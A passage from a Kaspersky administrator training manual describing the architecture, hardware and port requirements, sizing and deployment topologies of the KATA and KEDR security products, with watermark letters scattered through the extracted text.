1The central node has most of the sensor capabilities; for this reason, a dedicated sensor server is not needed in some
environments
26
Administration
Central node
ed
ut
r ib
st
di
re
or
Let us study the main capabilities of KATA/KEDR components in more detail.

d
A central node is the main element of KATA and KEDR products, which:
e
— Receives objects and data from sensors and agents;

— Checks objects using the anti-malware engine, Yara and KSN;
pi
— Sends objects to a sandbox for scanning and retrieves the results;

— Analyzes data to detect suspicious activity in the traffic and on the endpoints;
— Publishes scanning results in the web interface.
co
In large organizations with numerous computers, a distributed installation with several central nodes that
constitute a hierarchy and are managed from a single console is possible.
A central node can be combined with a sensor.

be
The central node also supports cluster architecture; we'll talk about this later.
t to
No
27
Administration
Sensor
ed
ut
ibr
st
di
re
or
In the KATA product, a sensor provides integration with the customer’s infrastructure. It receives objects
d
for scanning from network switches, proxy servers, mail servers and mail gateways. It scans all traffic
using the Intrusion Detection System technology (based on Suricata opensource IDS rules). It extracts
e
objects from traffic, checks addresses using the URL Reputation technology and sends files to the central
node. It also extracts metadata from mirrored traffic and sends them to the central node to detect
suspicious activities.
pi
A sensor can be built into a central node or installed on a dedicated server. There can be several
dedicated sensors on a network.
co
In KEDR, a sensor acts exclusively as a proxy that forwards telemetry from endpoint agents to the central
node. This feature can help, for example, optimize telemetry traffic from a regional office to the
organization's headquarters.
be
t to
No
28
Administration
Sandbox
ed
ut
rib
st
di
re
or
Sandboxing is a technology that analyzes objects’ behavior in a virtual environment. KATA and KEDR
d
products use a proprietary sandbox based on Kaspersky automatic malware detection technologies,
which the company has used internally for more than 15 years and is constantly improving.
e
A sandbox is an individual device that ‘does not know’ about other KATA/KEDR servers. It is the central
node that sends objects for analysis and retrieves the results. A KATA/KEDR Sandbox server can only
pi
work with a KATA/KEDR Central Node. Other Kaspersky solutions can be integrated with a similar
product named Kaspersky Sandbox.
co
When a central node receives files that sensors have extracted from corporate traffic and email, it sends
executable files, office documents, scripts and multimedia files to the sandbox server for scanning.
If a sandbox receives a link from mail traffic, it starts a web browser and opens the link there. If it receives
a link from the network traffic, it downloads the file and tries to run it.
be
The sandbox implemented in KATA/KEDR can run objects within Windows and Linux virtual machines.
The following types of virtual machines are used:
— Windows 10 64-bit,
— Windows 7 64-bit,
— Windows XP 32-bit,
to
— Astra Linux 1.7,

— CentOS 7.8.
Sandbox requires a dedicated server, it cannot be built into a central node or sensor. Kaspersky Anti
Targeted Attack and Kaspersky Endpoint Detection and Response can have multiple sandbox servers.
t
No
29
Administration
Kaspersky Endpoint Agent
ed
ut
ibr
st
di
re
or
An endpoint agent is software installed on Windows/Linux computers that collects data about programs’
d
and users’ activities. This data is sent to central node, where the Targeted Attack Analyzer technology
processes it and generates alerts about suspicious activities.
e
Endpoint agents collect the following data from the network hosts:
pi
— Processes’ activities;
— File operations;
— Operations with the registry;
— Network activities;
co
— Events in Windows logs;

— Commands entered from the keyboard.
Endpoint agents also perform the tasks that security personnel send from the central node web console:
— Isolate a computer from the network (with exclusions);
be
— Prohibit access to the specified files;

— Send a file to the central node for analysis;
— Delete or quarantine a file;
— Kill a process;
— Run a command or program with parameters.
t to
No
30
Administration
Cluster. Architecture
ed
ut
ib
r
st
di
re
or
The Central node component can be deployed as a failover cluster, which consists of servers with 2 roles:
d
storage and processing servers. Fault tolerance is achieved due to data duplication between storage
servers and redundancy of computing resources: when a server fails, another server with the same role
e
performs its functions. The program continues to operate as per usual.
A cluster must include at least 4 servers: 2 storage servers and 2 processing servers. You can scale the
pi
cluster to increase the amount of processed traffic or the number of connected hosts, but we recommend
that you add servers with the same hardware configuration to the cluster. Otherwise, a proportional
increase in performance is not guaranteed.
co
If a processing server is configured to receive mirrored traffic from SPAN ports, when this server fails,
SPAN traffic will not be processed.
The cluster uses Ceph (an open source software-defined distributed file system), which imposes its
requirements on the disk subsystem where telemetry and files will be stored:
be
— Use at least 3 disks for a Ceph storage.

— Disks of the same volume are recommended.
t to
No
31
Administration
Optimum vs expert framework
ed
ut
rib
st
di
re
or
KATA Platform and KEDR are not the only Kaspersky solutions that offer extended detection and
d
response capabilities against advanced threats. KATA and KEDR are powerful data collection and
analysis tools that require high level of expertise to be used efficiently.
e
Not all companies have such experts. With this in mind, Kaspersky offers solutions that automate most of
the analysis, but provide comparable capabilities for advanced threat detection and manual response:
pi
Kaspersky Sandbox (KSB) and Kaspersky Endpoint Detection and Response Optimum (KEDR
Optimum).
co
Of course, a highly qualified analyst armed with KATA and KEDR will be able to detect more stealth
attacks and discover more information about threats’ penetration and propagation across the network.
KATA and KEDR constitute expert framework, while Kaspersky Sandbox and KEDR Optimum pertain to
optimum framework. Both frameworks offer solutions to similar issues, but for professionals who possess
different qualifications, with different levels of detail, depth of context and hardware requirements.
be
At the same time, to make it easier for customers to migrate from a simpler solution to a more complex
one when they improve their skills, both frameworks partly share the same applications.
Let’s take a quick look at what unites and differentiates these frameworks.
to
The main server of the expert framework is the KATA Central Node. It coordinates the entire solution:
— The main management console is running on the central node, which is used for analysis and
processing of alerts in both KATA and KEDR.
t
— In the KATA product, the central node receives and analyzes traffic (by itself or via a dedicated
sensor).
No
— The central node sends objects to a KATA sandbox server for analysis and retrieves the results.
32
Administration
— In the KEDR product, endpoint agents installed on the network computers are connected to the
ed
central node and:
— Send telemetry to the central node;
— Receive commands from the central node and implement incident response.
ut
— Telemetry and alert databases are located on the central node.
The main server of the optimum framework is Kaspersky Security Center Administration Server:
ib
— The main alert analyzing and processing tool is the Kaspersky Security Center web console.
— The alert database is connected to the Kaspersky Security Center server.
— In the KEDR Optimum product, endpoint agents installed on the network computers are
r
connected to the Kaspersky Security Center server and:
st
— Send telemetry to the Kaspersky Security Center server;
— Receive response commands from the Kaspersky Security Center server.
di
— In the Kaspersky Sandbox product, endpoint agents send files for analysis directly from the
network computers to the sandbox server.
The endpoint agent mentioned in the descriptions of both frameworks is the same application. An
re
endpoint agent can be configured to interact with Kaspersky Security Center, or KEDR central node, or
with both servers at the same time.
Meanwhile, agent-server interaction details differ considerably between the frameworks:

or
— In the expert framework, endpoint agents connect directly to the central node. In the optimum
framework, endpoint agents connect to the Kaspersky Security Center server through Kaspersky
Security Center Network Agent installed on the same endpoint.
— In the expert framework, endpoint agents send continuous telemetry about the computer
d
operation to the central node. In the optimum framework, endpoint agents send only telemetry
directly related to detections of Kaspersky Endpoint Security (or another Kaspersky protection
application).
e
— In the expert platform, all telemetry is collected by an endpoint agent. In the optimum framework,
pi
an endpoint agent receives telemetry from the Kaspersky security solution installed on the
computer.
As a result, in the expert framework, an endpoint agent operates autonomously, does not require any
co
additional applications and can coexist with third-party security solutions on a computer. In the optimum
framework, an endpoint agent does not do anything by itself; it closely interacts with the Kaspersky
Security Center Network Agent and the Kaspersky security application installed on the device and for this
reason cannot work alongside third-party security tools.
be
The sandbox server mentioned within both frameworks is not the same application. The KATA Sandbox
employed in the expert framework and Kaspersky Sandbox that pertains to the optimum framework use
the same technology when analyzing files in a virtual environment, but differ in how they receive files for
analysis, operating systems used for analysis and details of the returned results:
— KATA Sandbox accepts files only from a KATA/KEDR central node, analyzes them on a few
operating systems (Windows XP, 7, 10, Astra Linux 1.7, CentOS 7.8) and returns a detailed
to
report that includes process memory dumps and screenshots.

— In the optimum framework, Kaspersky Sandbox accepts files from endpoint agents directly and
via a special API, analyzes all files in the same operating system (Windows 7) and returns a
binary result: whether the file is dangerous.
t
No
You can use neither KATA Sandbox in the optimum framework, nor Kaspersky Sandbox in the expert
framework.
33
Administration
Kaspersky Security Center takes part in the KEDR product too, but it plays a complementary role there. It
ed
facilitates installation and configuration of endpoint agents on the network computers. If a customer does
not use Kaspersky Security Center, administrators can deploy endpoint agents and configure their
interaction with Kaspersky EDR Central Node using other methods, but this may require somewhat more
time and effort.
ut
rib
st
di
re
or
e d
Also, considering that some customers are interested in the expert framework, but cannot deploy the
KATA/KEDR platform locally, another version of the expert framework was created: Kaspersky EDR
pi
Expert. In this solution:

— The main alert analyzing and processing tool is the Kaspersky Security Center Cloud Console.
— Telemetry is sent to a KSN-based storage and is stored in the cloud.
co
— KEA is not supplied as a stand-alone application, it is a component of the security applications

installed on the endpoints, KES for example.
be
2.3 System requirements
Server requirements
to
Central node
Requirements for the central node depend on the load. In KATA, we are talking about objects extracted
from traffic and the traffic coming to the central node that acts as a sensor. In KEDR, about the number of
t
connected endpoint agents.

No
34
Administration
ed
ut
ibr
st
di
re
or
The minimum configuration of a KEDR central node for production use is as follows:
— Memory: 64GB;
— CPU: 8 logical cores;
— Operating system drive: 1TB RAID 1 or RAID 10 with 100 ROPS2 and 1000 WOPS; 3
d
— Drive for data storage4: RAID 10 with 300 ROPS and 200 WOPS.
e
pi
co
be
t to
No
2 Read operations per second

3 Write operations per second
4 Disk size requirements depend on the desired data lifetime
35
Administration
ed
ut
ibr
st
di
re
or
The space required for storing telemetry from agents depends on several variables:
— Number of endpoints,
— Data retention time (days).
d
The general formula is as follows:

{number of endpoints} × ({number of retention days} × 16MB + 27MB) + 150GB
e
pi
co
be
t to
No
36
Administration
Load on the channel through which endpoint agents send telemetry to the central node:
ed
— Average = 0.02Mbps;
— Peak = 0.1Mbps.
An endpoint agent connects to the central node periodically and sends data. Telemetry is sent as events
ut
every 30 seconds or more frequently. Response commands and their results are transmitted during
scheduled synchronizations (every 5 minutes by default).
If the server is inaccessible (for example, the user has taken the laptop to a business trip), the gathered
ib
data will be stored locally and sent to the central node as soon as connection can be established.
r
st
di
re
or
e d
pi
co
A primary central node can:

— Can have up to 10 secondary central nodes;
— Can accept direct agent connections.
Secondary central nodes:

be
— Have the same limitations as a stand-alone central node;

— Don't require additional resources;
— Process telemetry and decrease traffic from agents;
— Can't have their own secondary nodes.
t to
No
37
Administration
ed
ut
rib
st
di
re
or
The minimum configuration of a central node for production use of KATA without dedicated sensors and
KEDR is as follows:
— Memory: 96GB;
d
— Operating system drive: 1.9TB RAID 1 or RAID 10 with 100 ROPS and 1000 WOPS;
— Drive for data storage: RAID 10 with 300 ROPS and 200 WOPS.
e
A central node can run on either a physical or a virtual server. Installation on a virtual server is only
pi
supported for VMware ESXi 6.7 or 7.0.

co
be
t to
No
38
Administration
ed
ut
ib
r
st
di
re
The minimum configuration of a central node for production use of KATA without dedicated sensors and
or
KEDR is as follows:
— Memory: 96GB;
— Operating system drive: 1.9TB RAID 1 or RAID 10 with 100 ROPS and 1000 WOPS;
d
— Drive for data storage: RAID 10 with 300 ROPS and 200 WOPS.
e
If you need to process a large volume of traffic, you can deploy a dedicated sensor. For example, to
process 4Gbit/s, you will need a sensor with the following specifications:
pi
— Memory: 32GB;
— CPU: 48 logical cores.
When planning the installation, take into account the network connections that the central node will need
co
to establish:
— Inbound connections:
— KATA and KEDR:
— TCP 22 for SSH connections to the server;
be
— TCP 443 for connection requests from sensors;

— TCP 8443 for viewing analysis results in the web interface;
— TCP 80 when distributing updates to the sandbox servers and sensors.
— Only KATA:
—
to
TCP 443 for connections from KSMG, KLMS, KWTS and external systems that use API;
— TCP 6379 for synchronizing cache of scanned objects with sensors;
— TCP 8081 for receiving files, messages and URLs from sensors;
— TCP 10000 for receiving network traffic metadata from sensors (for targeted attack
analyzer).
t
— Only KEDR:
No
— TCP 443 for connections from endpoint agents;

— TCP 4443 for proxied connections from endpoint agents via a sensor that acts as a
proxy.
39
Administration
— In a distributed installation with several central nodes:
ed
— TCP 5432 for data exchange between the central nodes in a distributed installation;
— TCP 8444 for providing additional data to the primary central node in a distributed
installation.
—
ut
Outbound connections:
— KATA and KEDR:
— TCP 80 for downloading updates from Kaspersky servers or from a user-defined source;
ib
— TCP 443 for downloading updates from Kaspersky servers, KSN requests and
connections to the sandbox server;
— SMTP port for email notification;
— SIEM port for sending alerts and information about components’ status to SIEM;
r
— UDP 161 for requesting sensors’ status data.
st
— In a distributed installation:
— TCP 443 for authentication requests to the primary central node in a distributed
installation;
di
— TCP 5432 for data exchange between the central nodes in a distributed installation;
— TCP 8444 for requesting additional data from secondary central nodes in a distributed
installation.
re
Connections between sensors and the central node, as well as between central nodes are protected with
IPSec in a distributed installation. To allow these connections on the firewall, configure allow rules for
UDP ports 500 and 4500, as well as for ESP protocol (IP protocol 50) and authentication headers (IP
protocol 51).
or
If you plan to use the central node as a sensor, consider the sensor’s network connections as well.
Sensor
e d
pi
co
be
t to
No
40
Administration
Minimum hardware requirements for a sensor (for processing mirrored traffic 100 Mbps):
ed
— RAM: 16GB;
— Drive: RAID 1300GB;
— Network adapter: 1Gbps for management, communications with the central node and receiving
ut
objects for scanning from the mail system and proxy servers;
— Another network adapter: to receive a copy of network traffic with the bandwidth corresponding
to the traffic volume.
ib
A sensor can run on a physical or virtual server. Installation on a virtual server is only supported for
VMware ESXi 6.7, 7.0.
r
When installing a sensor (or a central node that will be used as a sensor as well) in VMware vSphere
environment, you can encounter the following situations:
st
— If SPAN traffic is sent to VMXNET3 virtual interface, the sensor may truncate network packets.
By default, a sensor awaits packets with MTU 1600 maximum, while VMXNET3 interface
supports packets with MTU of up to 65535.
di
— If network traffic contains packets from several VLANs, configure the virtual switch to accept
packets with different VLAN IDs. A sensor may fail to receive a part of traffic because of a
misconfigured switch of the virtual network to which it is connected.
— Inbound:
— KATA and KEDR:
re
When planning the installation, consider the network connections that the sensor establishes:
or
— TCP 22 for administrator’s connections to the server via SSH;
— UDP 161 to accept requests about the status of components and databases from the
central node.
— Only KATA:
d
— TCP 1344 to retrieve data from proxy servers using ICAP;

e
— TCP 25 for receiving mail traffic via SMTP integration.

— Only KEDR:
pi
— TCP 443 for accepting connections from endpoint agents (if the sensor acts as a proxy).
— Outbound:
co
— KATA and KEDR:

— TCP 443 for the initial connection to the central node.
— Only KATA:
— TCP 80 for downloading updates;
be
— TCP 443 for communication with KSN servers and downloading updates via https;
— TCP 995 (or TCP 110 for non-secure connections) for connecting to the mail server and
downloading messages if POP3 integration with the mail system is used;
— TCP 6379 to synchronize cache of scanned objects with the central node;
— TCP 8081 for sending objects (files and mail messages) to the central node;
— TCP 10000 for sending traffic metadata to the central node (for Targeted Attack
to
Analyzer).
— Only KEDR:
— TCP 4443 for redirecting endpoint agents’ data to the central node.
t
No
41
Administration
Distributed installation
ed
ut
ibr
st
di
re
or
A distributed installation provides a number of advantages:

d
— Processing more than 4Gbit/s of traffic;

— Minimizing traffic between locations.
e
But this imposes additional requirements on PCN. For example, 1000 endpoints, 1 fps and 200 Mbit/s will
require 16 additional GB of RAM and 8 additional processor cores.
pi
co
be
t to
No
42
Administration
Cluster
ed
ut
ibr
st
di
re
A cluster must include at least 4 servers: 2 storage servers and 2 processing servers. If you want to
handle traffic from 15,000 hosts with Kaspersky Endpoint Agent, you need at least 2 storage servers and
or
2 processing servers. To process traffic from 30,000 Kaspersky Endpoint Agents, you need at least 2
storage servers and 3 processing servers.
Each server in a cluster must have 2 network adapters: for cluster and external subnets. The cluster
subnet must operate at 10Gbit/s. The external subnet must operate at 1Gbit/s.
e d
pi
co
be
to
The minimum amount of RAM for a processing server is 256GB, and 128GB for a storage server.
t
No
The minimum number of logical cores for a processing server is 48, and for a storage server, 16.
43
Administration
Sandbox
ed
ut
ib
r
st
di
re
or
Sandbox requirements depend on the estimated load. To calculate the configuration precisely, we
recommend that you conduct pilot testing under full load.
d
The following Sandbox server configuration is designed to handle 5 email messages per second, 2Gbit/s,
e
5000 hosts:
— RAM: 80GB;
pi
— CPU: two 8-core Intel Xeon processors with Hyper-Threading (16 logical cores);
— Two 300GB disks;
— Network adapter: 1Gbps for management and communications with the central node;
co
— Another network adapter: 1Gbps for accessing the internet from within virtual machines.
Only Intel processors are supported, AMD processors are not.
Sandbox can run on a physical server or in VMware ESXi virtual environment. Other virtual environments
are not supported5.
be
If you install the Sandbox component on a VMware ESXi virtual machine:
— Intel Xeon processor (15-core HT);

— 32GB of RAM;
—
to
HDD 300GB.
On the virtual machine:

— Enable nested virtualization;
— Set High Latency Sensitivity;
t
— Reserve all RAM;

No
— Reserve the entire CPU resource pool.
5 Sandbox is guaranteed NOT to run on any hypervisors except VMware ESXi.
44
Administration
Implement the described configuration when setting up the virtual machine. Only the processor frequency
ed
can be modified: you can set the frequency to 2.2 GHz or higher. If the virtual machine has a different
configuration, correct installation and operation of the Sandbox component is not guaranteed.
If you plan to deploy several sandbox servers, we recommend that you use the same hardware and the
ut
same sets of virtual machines on them to balance the load.
Network interfaces and ports:
ib
— The first network adapter is used as a management interface and receives scan tasks from the
central node:
— Allow incoming connections on TCP port 22 to be able to connect to the server via the SSH
r
protocol.
st
— Allow incoming connections on TCP port 443 to receive data from the central node.
— Allow incoming connections to port 8443 to receive connections to the sandbox web console.
di
Only port 443 is designed for day-to-day operation. Ports 8443 and 22 are necessary for setup
and troubleshooting, but are not used for interactions with the central node or object scanning.
— Another network interface is required for analyzing object behavior and database updates:
re
— Deny access to the organization’s local network to protect the network from objects under
analysis;
— Provide unrestricted access to the internet.
or
On the second interface, it is preferable to disable any limitations and traffic filtering to enable the
processed objects freely establish internet connections. This way, it will be easier to catch
activities of malicious modules attempting to poll the network or connect to their command
center.
d
A sandbox can also scan objects without the second interface. In this case, virtual machines receive
access to ‘fake internet’ organized by a special virtual machine available in Sandbox. The likelihood of
e
successful detection of malicious objects is lower in this configuration.

pi
co
be
t to
No
45
Administration
Kaspersky Endpoint Agent requirements
ed
КЕА 3.14 for Windows
ut
ibr
st
di
re
or
d
In the KEDR solution, special agents installed on computers collect data for analysis and detecting
suspicious or dangerous activity. Let’s consider the requirements for KEA 3.14 for Windows.
e
Minimum hardware requirements for a workstation:

pi
— Processor: 1.4GHz, single-core;

— RAM: 512MB;
— Free hard drive space: 500MB.
co
Supported operating systems for workstations:

— Windows 7 SP1 Home / Professional / Enterprise / Ultimate 32-bit/64-bit;
— Windows 8.1.1 Professional / Enterprise 32-bit/64-bit;
— Windows 10 RS3 (version 1703) Home / Professional / Education / Enterprise 32-bit/64-bit;
be

— Windows 10 19H1 (version 1903) Home / Professional / Education / Enterprise 32-bit/64-bit;
to
— Windows 10 21H1 (version 21H1) Home / Professional / Education / Enterprise 32-bit/64-bit;

— Windows 10 21H2 (version 21H2) Home / Professional / Education / Enterprise 32-bit/64-bit;
— Windows 11 21H2 (version 21H2) Home / Professional / Education / Enterprise 32-bit/64-bit.
Supported server operating systems:

t
— Windows Server 2008 SP2 Standard / Enterprise 64-bit;

No
— Windows Server 2008 R2 SP1 Foundation / Standard / Enterprise 64-bit;

— Windows Server 2012 Foundation / Standard / Enterprise / Datacenter 64-bit;
— Windows Server 2012 R2 Foundation / Standard / Enterprise / Datacenter 64-bit;
46
Administration
— Windows Server 2016 Essentials / Standard / Datacenter 64-bit;
ed
— Windows Server 2019 Essentials / Standard / Datacenter 64-bit;
— Windows Server 20H2 Standard Core / Datacenter Core 64-bit;
— Windows Server 2022 Standard / Datacenter 64-bit.
ut
Supported Embedded operating systems:
— Windows Embedded Standard 7 SP1 32/64-bit
ib
КЕА 3.12 for Linux
r
st
di
re
or
e d
pi
Let’s consider the requirements for KEA 3.12 for Linux.
Minimum hardware requirements for a workstation:

co
— Processor: 2GHz;
— RAM: 512MB;
— Free hard drive space: 1GB
Supported operating systems for workstations:

be
— Ubuntu 16.04 LTS, 18.04 LTS, 20.04 LTS;

— Red Hat Enterprise 7.2, 8.0;
— CentOS 7.2, 8.0;
— Oracle Linux 7.3, 8;
— Debian GNU / Linux 9.4, 10.1, 11;
to
— SUSE Linux Enterprise Server 12, 15;

— Astra Linux Special Edition RUSB.10015-01 (update 1.6);
— Astra Linux Special Edition RUSB.10015-16 (version 1, update 1.6);
— Astra Linux Special Edition RUSB.10015-01 (update 1.7);
— Astra Linux Common Edition (update 2.12);
t
— Alt 8 SP Server;
— Alt Server 9;
No
— Alt Workstation 9;
— Goslinux 7.17;
— RED OS 7.3.
47
Administration
2.4 Scaling
ed
Resource calculation
ut
It is important to evaluate how many and what kind of resources KATA/KEDR servers will need based on
the estimated load prior to starting the deployment.
ib
To calculate resources required for a pilot deployment, use the calculator at
https://support.kaspersky.com/KATA/5.0/en-US/194858.htm.
The hardware requirements for the server where the Central Node and Sensor components will be
r
installed depend on:
st
— Processed traffic volume;
— Number of processed email messages per second;
— Number of hosts with Kaspersky Endpoint Agent.
di
When calculating the hardware requirements for the Sensor component, remember that a sensor’s
processing capability is limited to 4Gbit/s.
re
The hardware requirements for a Sandbox server depend on the type and volume of traffic being
processed and on the time allocated for checking an object (1 hour by default). To reduce this time, a
more powerful server or several sandbox servers are required.
or
When planning, take growth potential into consideration.
Configuration examples
d
Central node
e
A common error of a pilot or production deployment is allocating inadequate servers to KATA/KEDR.

Lack of memory, processor cores and disk space can reduce the effectiveness of detection technologies
pi
and increase the risk of missing indicators of attack.
It's better to overkill and allocate more resources than necessary to the servers. In the end, it is pragmatic
co
to expect that the volume of processed information will increase over time.
To avoid underestimation, you should understand the requirements for minimum, average and maximum
load. First of all, pay attention to memory and processor. Disk space is much easier to increase without
reinstalling the system.
be
In KEDR installations where the entire load consists of telemetry coming from endpoint agents, the
minimum configuration of the central node is:
— 64GB of RAM;
— 8 logical processor cores.
to
This configuration can analyze data from 1,000 endpoints.
If KEDR is supposed to work with 5,000 endpoints, its central node requires:
— 96GB of RAM;
t

No
The maximal configuration of a KEDR central node able to process data from 15,000 endpoints requires:
— 192GB of RAM;
48
Administration
In a hybrid installation of KATA and KEDR where the central node acts as a sensor and processes not
ed
only telemetry from the endpoints, but also network traffic, the minimum configuration is as follows:
— 96GB of RAM;
ut
This configuration is designed for 1000 hosts, 200Mbps of raw mirrored traffic and 1 email message per
second.
A central node processing telemetry from 10,000 endpoints, 1Gbps raw traffic and 2 email messages per
ib
second requires:
— 192GB of RAM;
r
st
If the traffic volume exceeds 1Gbps, we recommend that you allocate a dedicated sensor for processing
raw mirrored traffic.
di
If the expected load falls somewhere between the described configurations, select the parameters
calculated for a heavier load to be on the safe side.
re
Sensor
In Kaspersky Endpoint Detection and Response configurations, a dedicated sensor only proxies
connections between the endpoint agents and the central node, does not perform complex calculations
and therefore does not require a lot of resources.
or
A sensor can proxy telemetry of 15,000 endpoints. For this purpose, the sensor will need:
— 16GB of RAM;
d
If there are no more than 10,000 endpoints, the following configuration will suffice:
e
— 16GB of RAM;
pi
In Kaspersky Anti Targeted Attack installations, a sensor needs additional resources to process network
traffic. Analysis of raw mirrored traffic consumes most resources. As far as email messages and ICAP
co
objects are concerned, the sensor forwards them to the central node almost without pre-processing.
Minimal traffic processing (up to 100Mbps if there are fewer than 10,000 endpoints) does not increase the
sensor requirements, the following configuration is still enough:
— 16GB of RAM;
—
be
4 logical processor cores.
A traffic of 1Gbps requires that the sensor possesses:

— 24GB of RAM;
to
A full-fledged sensor configuration capable of handling 4Gbps of raw mirrored traffic is as follows:
— 32GB of RAM;
t
If the sensor is expected to process a traffic of more than 2Gbps, allocate one logical core for handling
network interrupts, as described in the help https://support.kaspersky.com/KATA/5.0/en-US/212016.htm.
No
If the volume of processed traffic exceeds 1Gbit/s, we recommend that you allocate at least 600GB of
disk space.
49
Administration
Sandbox
ed
A physical server can process up to 5 e-mail messages per second, 2000 Mbit/s of mirrored traffic and
telemetry from 5000 computers with Kaspersky Endpoint Agent.
ut
This will require:
— 2 Intel Xeon processors (8-core HT);
— 80GB of RAM;
—
ib
2 HDD 300GB each.
To achieve the specified performance, set the following characteristics when installing the Sandbox
component on a VMware ESXi virtual machine:
r
— Intel Xeon processor (15-core HT);
st
— 32GB of RAM;
— HDD 300GB.
di
You also need to adjust the virtual machine settings as follows:
— Set High Latency Sensitivity;
re
— Reserve the entire CPU resource pool.
When installing the Sandbox component on a VMware ESXi virtual machine, limit the number of
simultaneously running virtual machines to 12.
or
2.5 Typical topologies

d
One central node

e
Let us study a KEDR installation without a KATA license. Processing and visualization of data about
pi
activities on the computers requires a central node anyway.
You can connect up to 15,000 EDR agents (endpoint agents) to a central node. If there are more
co
endpoints in your organization, use a distributed installation with several central nodes.
Central node and sandbox

be
If the customer does not have another sandbox solution or is interested in the results of an independent
analysis, they will benefit from a deployment scheme with two servers: a central node and a sandbox.
In this deployment scheme, the central node and sensor components are installed on the same server or
cluster. This server or cluster receives traffic, performs preliminary traffic analysis and deep analysis of
extracted files. As a result, components detect signs of targeted attacks on the organization's IT
to
infrastructure.
The Sandbox component is installed on another server.
One sandbox server is sufficient for almost any Kaspersky Endpoint Detection and Response installation.
t
In this case, sandbox only receives files from analysts who investigate incidents, and the load is low.
No
50
Administration
This model is suitable for pilots and deployment at the main site when:
ed
— One server is able to capture traffic, perform in-depth analysis and process data from endpoints
(bandwidth up to 1 Gbps, with or without endpoint agents);
— There is no need to analyze traffic at remote sites;
ut
— Remote sites access the internet via the main site;
— Network, web and mail traffic can be captured using a single device.
ib
Additional sensors
r
If the organization has remote offices, their computers don't have to be connected to the central node
directly. It may be inconvenient because of the necessity to create too wide firewall exceptions. Instead,
st
you can deploy a sensor in a remote office, connect endpoint agents to it and connect the sensor to the
central node located at the headquarters. In this configuration, the sensor will automatically transfer data
from endpoint agents to the central node. You can connect up to 15,000 endpoint agents to a sensor.
di
The limit of 15,000 endpoint agents per central node does not depend on the agents’ connection method:
directly or via a sensor acting as proxy. If 10,000 endpoint agents are connected to the central node via 2
sensors acting as proxy, you can additionally connect up to 5,000 endpoint agents directly.
re
To use KATA functionality, you may need to use a dedicated sensor that captures traffic, runs initial
analysis, extracts files and forwards them to central node for in-depth analysis. There can be several
dedicated sensors.
or
This scheme is used for deployment on a main site where:
— One server is unable to capture traffic and run in-depth analysis (bandwidth more than 1Gbps);
— One device is unable to capture traffic from all mail servers, mail gateways, proxy servers and
network switches.
d
The central node can also capture traffic and perform initial analysis. This enables you to install a
e
dedicated sensor only on a remote site where traffic needs to be analyzed. At the headquarters, traffic will
be captured by the central node, which must be powerful enough to combine the two roles and must be
pi
able to retrieve traffic from all the necessary sources. If the headquarters’ bandwidth exceeds 1 Gbps, a
dedicated sensor is also necessary there in addition to the central node.
Traffic between the central node and a sensor equals 15% of SPAN traffic plus 100% of ICAP and email
co
traffic coming to the sensor.
As traffic from mail and proxy servers does not put any significant additional load on either sensor or
central node, you can send it to any of these servers.
be
For example, you can send all traffic (SPAN, mail and proxy) to sensor and leave only the object
scanning functions on the central node. Alternatively, with the same hardware specifications, you can
send only SPAN traffic to sensor, while mail messages and traffic from proxy server can go to the central
node directly. Both options can work equally well and the preferred choice will depend on the network
topology.
to
The required sandbox servers’ capacity in a KATA installation will depend on the amount and types of
files in the traffic.
To process an intense stream of files in the traffic, it will be necessary to concurrently run many virtual
machines on the sandbox server. At the same time, the number of virtual machines that may be running
t
on the sandbox server simultaneously is limited by the server’s hardware resources. If the stream of files
No
51
Administration
requires starting more virtual machines, you will have to scale up the sandbox’s resources. Two methods
ed
can help to achieve this:
— Add hardware resources to the server: RAM, more processors or more powerful processors,
etc.;
—
ut
Increase the number of sandbox servers.
This approach is simpler, because you don't need to change anything in the currently running
servers
ib
If traffic volume requires using more than one sandbox server, connect them all to the central node. The
central node will then distribute the load between the sandbox servers.
r
Distributed installation
st
You can connect up to 15,000 endpoint agents to a central node. A network of a large organization can
di
have more endpoints, and any of them can become an entry point for criminals.
To be able to receive and process information about local activity on more than 15,000 computers, you
will need several central nodes. In this case, to gather information about threats and response tools within
re
a single console (rather than individual consoles of different central nodes), use the distributed mode. In
this mode, one of the central nodes is made primary and other central nodes are connected to it as
secondary. All management and monitoring will be concentrated in the console of the primary central
node.
or
The requirements for primary and secondary central nodes in Kaspersky Endpoint Detection and
Response installations are the same as the requirements for a dedicated central node in a standard non-
distributed installation.
KEDR imposes small load on the sandbox. To a first approximation, you can consider that one sandbox
d
server with 48 simultaneously running virtual machines is sufficient for any KEDR installation.
e
A KATA installation where all traffic is sent to a single central node (directly or via dedicated sensors), has
the following traffic processing limits:
pi
— Up to 4 Gbps of mirrored traffic;

— Up to 20 email messages per second from mail servers;
— Up to 20 files per second from proxy servers over ICAP;
co
— Up to 20 files per second from external systems via KATA REST API.
To process heavier traffic, you will need an installation where more than one central node processes
objects.
For example, if you want to scan 8Gbps of traffic, you will need at least 2 central nodes. Also note that a
be
central node cannot process more than 1Gbps of traffic by itself, and raw traffic will need to be processed
on dedicated sensors. Additionally, consider the network topology: how the organization’s external traffic
is routed and how to divide it into multiple streams for scanning by several sensors. The topology can
impose additional limitations on the number and location of sensors.
to
You can organize central nodes into a distributed KATA/KEDR installation to process all alerts from a
single console of the primary central node.
The requirements for a secondary central node in a distributed Kaspersky Anti Targeted Attack
installation are the same as in a non-distributed installation. The requirements for a primary central node
t
to which 10 or more secondary central nodes are connected are described in the online help
https://support.kaspersky.com/KATA/5.0/en-US/194458.htm.
No
A distributed KATA/KEDR installation will almost certainly require more than one sandbox server. To
optimize sandbox utilization, you can connect all central nodes to all sandbox servers.
52
Administration
Cluster
ed
You can connect up to 15,000 endpoint agents to a central node. A network of a large organization can
have more endpoints, and any of them can become an entry point for criminals.
ut
To receive and process information about local activity from more than 15,000 computers, you can
consider not only a distributed installation schema, but also deploying the central node on a cluster.
To process traffic from 30,000 Kaspersky Endpoint Agents, you need at least 2 storage servers and 3
ib
processing servers.
r
st
di
re
or
e d
pi
co
be
t to
No
53
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 3. KATA platform deployment
Administration
3. KATA platform deployment
ed
ut
3.1 Planning
Kaspersky Endpoint Detection and Response
ib
In most cases, KEDR deployment consists of two steps:
r
1. Install the central node (and sandbox if necessary);
st
2. Install Kaspersky Endpoint Agent on computers and connect them to the central node.
The latter step requires more time and effort. Kaspersky Security Center provides you with ready-to-use
di
handy tools, which make installation and configuration much easier. Even if your organization does not
use Kaspersky Security Center, consider installing it to optimize the deployment of Kaspersky Endpoint
Agent. All Kaspersky Security Center features involved require neither activation nor a special license.
re
